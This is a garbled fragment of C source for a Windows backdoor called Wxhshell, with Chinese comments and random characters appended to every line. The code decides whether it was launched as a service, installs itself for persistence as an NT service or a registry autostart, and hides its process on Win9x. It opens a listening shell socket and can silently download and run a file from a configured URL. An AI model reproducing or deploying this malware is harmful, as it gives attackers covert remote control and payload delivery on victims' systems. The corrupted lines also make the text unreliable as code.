DWORD AffinityMask; \v_(*
DWORD BasePriority; DO;
2)ZQ%
ULONG UniqueProcessId; L"0L_G
ULONG InheritedFromUniqueProcessId; Fh;(1X75I
} PROCESS_BASIC_INFORMATION; $cedO']
v'=APl+_
PROCNTQSIP NtQueryInformationProcess; :7zI!edu
64cmv}d _
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ;2~Q97c0
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ;DpK*A
x~.U,,1
HANDLE hProcess; Zl*!pQ
PROCESS_BASIC_INFORMATION pbi; 1lM0pl6M
oB@C-(M
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); h
!1c(UR
if(NULL == hInst ) return 0; {I
,'
g*uO
IF
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 1d6pQ9 N
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); QO%K`}Q}
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); h9mR+ng*oD
.N 2Yxty8>
if (!NtQueryInformationProcess) return 0; 7+bzCDKU
H?m2|.
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ?CC6/bE-{
if(!hProcess) return 0; TMrmyvv
'}=M~
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 5s9~rm
JB7]51WH@
CloseHandle(hProcess); kW9STN
bYfcn]N
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); B(5g&+{Lq~
if(hProcess==NULL) return 0; 4$rO,W/&0
=/;(qy9.-R
HMODULE hMod; Q\Eq(2p
char procName[255]; @{G(.S
unsigned long cbNeeded; l;ugrAo?
!ibp/:x
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); e;$s{CNo
xnTky1zq
CloseHandle(hProcess); N
Jf''e3
7pNh|#Uv'
if(strstr(procName,"services")) return 1; // 以服务启动 h7{W-AtM7_
G[mYx[BTz
return 0; // 注册表启动 6=FuH@Q&
} G(-
`FH
wFD.3!
// 主模块 AWzpk}\
int StartWxhshell(LPSTR lpCmdLine) R B!g,u
{ !Kis,e
SOCKET wsl; NTC,Vr\A
BOOL val=TRUE; S/4kfsN
int port=0; !PgYn
struct sockaddr_in door; oUqNA|l
T
;AaF ;zPV
if(wscfg.ws_autoins) Install(); \n5,!,A
)-mB^7uXGv
port=atoi(lpCmdLine); 8dv1#F|
1/ a,7Hl
if(port<=0) port=wscfg.ws_port; mEGMe@37
q^s$4 q
WSADATA data; Ugn"w E
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; nsPM`dz/
{_Y\Y
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 'oTF$3n
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ? DPL7
door.sin_family = AF_INET; O;w';}At
door.sin_addr.s_addr = inet_addr("127.0.0.1"); ^6=nL<L
door.sin_port = htons(port); SFjN5u
q&vr;fB2
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { j<c_*^/'9
closesocket(wsl); TM+7>a$
return 1; 8L#sg^1V
} D`ZYF)[}J
sG3%~
if(listen(wsl,2) == INVALID_SOCKET) { ,T]okN5uI
closesocket(wsl); f-Sb:O!V
return 1; 5b&'gd^d
} 30<^0J.1
Wxhshell(wsl); bV"0}|A~K
WSACleanup(); yk=H@`~!
/q=<OEC
return 0; ^71sIf;+
qU"+0t4
} Mqq7;w@(J
6 R!0v8
// 以NT服务方式启动 uB%`Bx'OW
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) # RtrHm
{ PKP(:3|
DWORD status = 0; j9Lc2'
DWORD specificError = 0xfffffff; n7S[ F3
3V-pLs|
serviceStatus.dwServiceType = SERVICE_WIN32; $I_aHhKt
serviceStatus.dwCurrentState = SERVICE_START_PENDING; +=||c\'
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; g;-CAd5
serviceStatus.dwWin32ExitCode = 0; u~K4fP
serviceStatus.dwServiceSpecificExitCode = 0; 7&X^y+bMe6
serviceStatus.dwCheckPoint = 0; 9N9;EY-U
serviceStatus.dwWaitHint = 0; =KX:&GU
NK#f Gz*,(
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); k?_Miqr
if (hServiceStatusHandle==0) return; hE>Mo$Q(
NJ|8##Z>
status = GetLastError(); GSk;~^l
if (status!=NO_ERROR) -G{}8GM
{ #{0c01JZ
serviceStatus.dwCurrentState = SERVICE_STOPPED; RJ0w3T]7
serviceStatus.dwCheckPoint = 0; wqw$6"~
serviceStatus.dwWaitHint = 0; pBHr{/\5
serviceStatus.dwWin32ExitCode = status; u|+O%s TQ
serviceStatus.dwServiceSpecificExitCode = specificError; uoF9&j5E@Z
SetServiceStatus(hServiceStatusHandle, &serviceStatus); . uhP(
return; n#4Ra+dD
} +~7@K{6q-
#SO9e.yhI
serviceStatus.dwCurrentState = SERVICE_RUNNING; y0Ag px
serviceStatus.dwCheckPoint = 0; K(hqDif*6
serviceStatus.dwWaitHint = 0; R#oXQaBJ
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 8NpQ"0X
} :=-h'<D
=>4,/g3
// 处理NT服务事件,比如:启动、停止 KX{ S8_
VOID WINAPI NTServiceHandler(DWORD fdwControl) u{HB5QqK
{ 9] l7j\L
switch(fdwControl) m#Rll[
{ O4 [[9
case SERVICE_CONTROL_STOP: *vht</?J
serviceStatus.dwWin32ExitCode = 0; sI#K01;"
serviceStatus.dwCurrentState = SERVICE_STOPPED; cBU>/
zIp
serviceStatus.dwCheckPoint = 0; F$d`Umqs;P
serviceStatus.dwWaitHint = 0; /']Gnt G.
{ HJwj,SL
SetServiceStatus(hServiceStatusHandle, &serviceStatus); dqcfs/XhP
} s@0#w*N
return; h T4fKc7P
case SERVICE_CONTROL_PAUSE: u" nyx0<
serviceStatus.dwCurrentState = SERVICE_PAUSED; x#U?~6.6
break; WG9x_X&XJ
case SERVICE_CONTROL_CONTINUE: zDC-PHFHQ
serviceStatus.dwCurrentState = SERVICE_RUNNING; rqifjsv
break; s<n5^Vxy
case SERVICE_CONTROL_INTERROGATE: [5>0om5
break; e)O6k7U$
}; gwNv;g
SetServiceStatus(hServiceStatusHandle, &serviceStatus); hV_0f_Og
} 9^XT,2Wwf
zcDVvP
// 标准应用程序主函数 st~f}w@
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 7R ;!
{ Wo\NX05-?
D.X%wJ8
// 获取操作系统版本 "QA!z\0\
OsIsNt=GetOsVer(); 5ZUqCl(PX)
GetModuleFileName(NULL,ExeFile,MAX_PATH); VDBP]LRF
8MV=?
// 从命令行安装 'xhX\?mD
if(strpbrk(lpCmdLine,"iI")) Install(); 4k}u`8 a
S&FMFXF@
// 下载执行文件 ` O-$qT,_
if(wscfg.ws_downexe) { m%ak ]rv([
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ]QRhTz
WinExec(wscfg.ws_filenam,SW_HIDE); qpFFvZ
W
} >tYptRP
A6=
Um%T
if(!OsIsNt) { c1Xt$[_
// 如果时win9x,隐藏进程并且设置为注册表启动 ! p458~|
HideProc(); qa2QS._m
StartWxhshell(lpCmdLine); }3ty2D#/:
} MX]<tR `
else uee2WGD
if(StartFromService()) "2$C_aE
// 以服务方式启动 &K/5AH"q
StartServiceCtrlDispatcher(DispatchTable); kF`2%g+
else gCW.;|2
// 普通方式启动 ',v
-&1R
StartWxhshell(lpCmdLine); ^dld\t:tV7
[PdatL2
return 0; )lE]DG!
}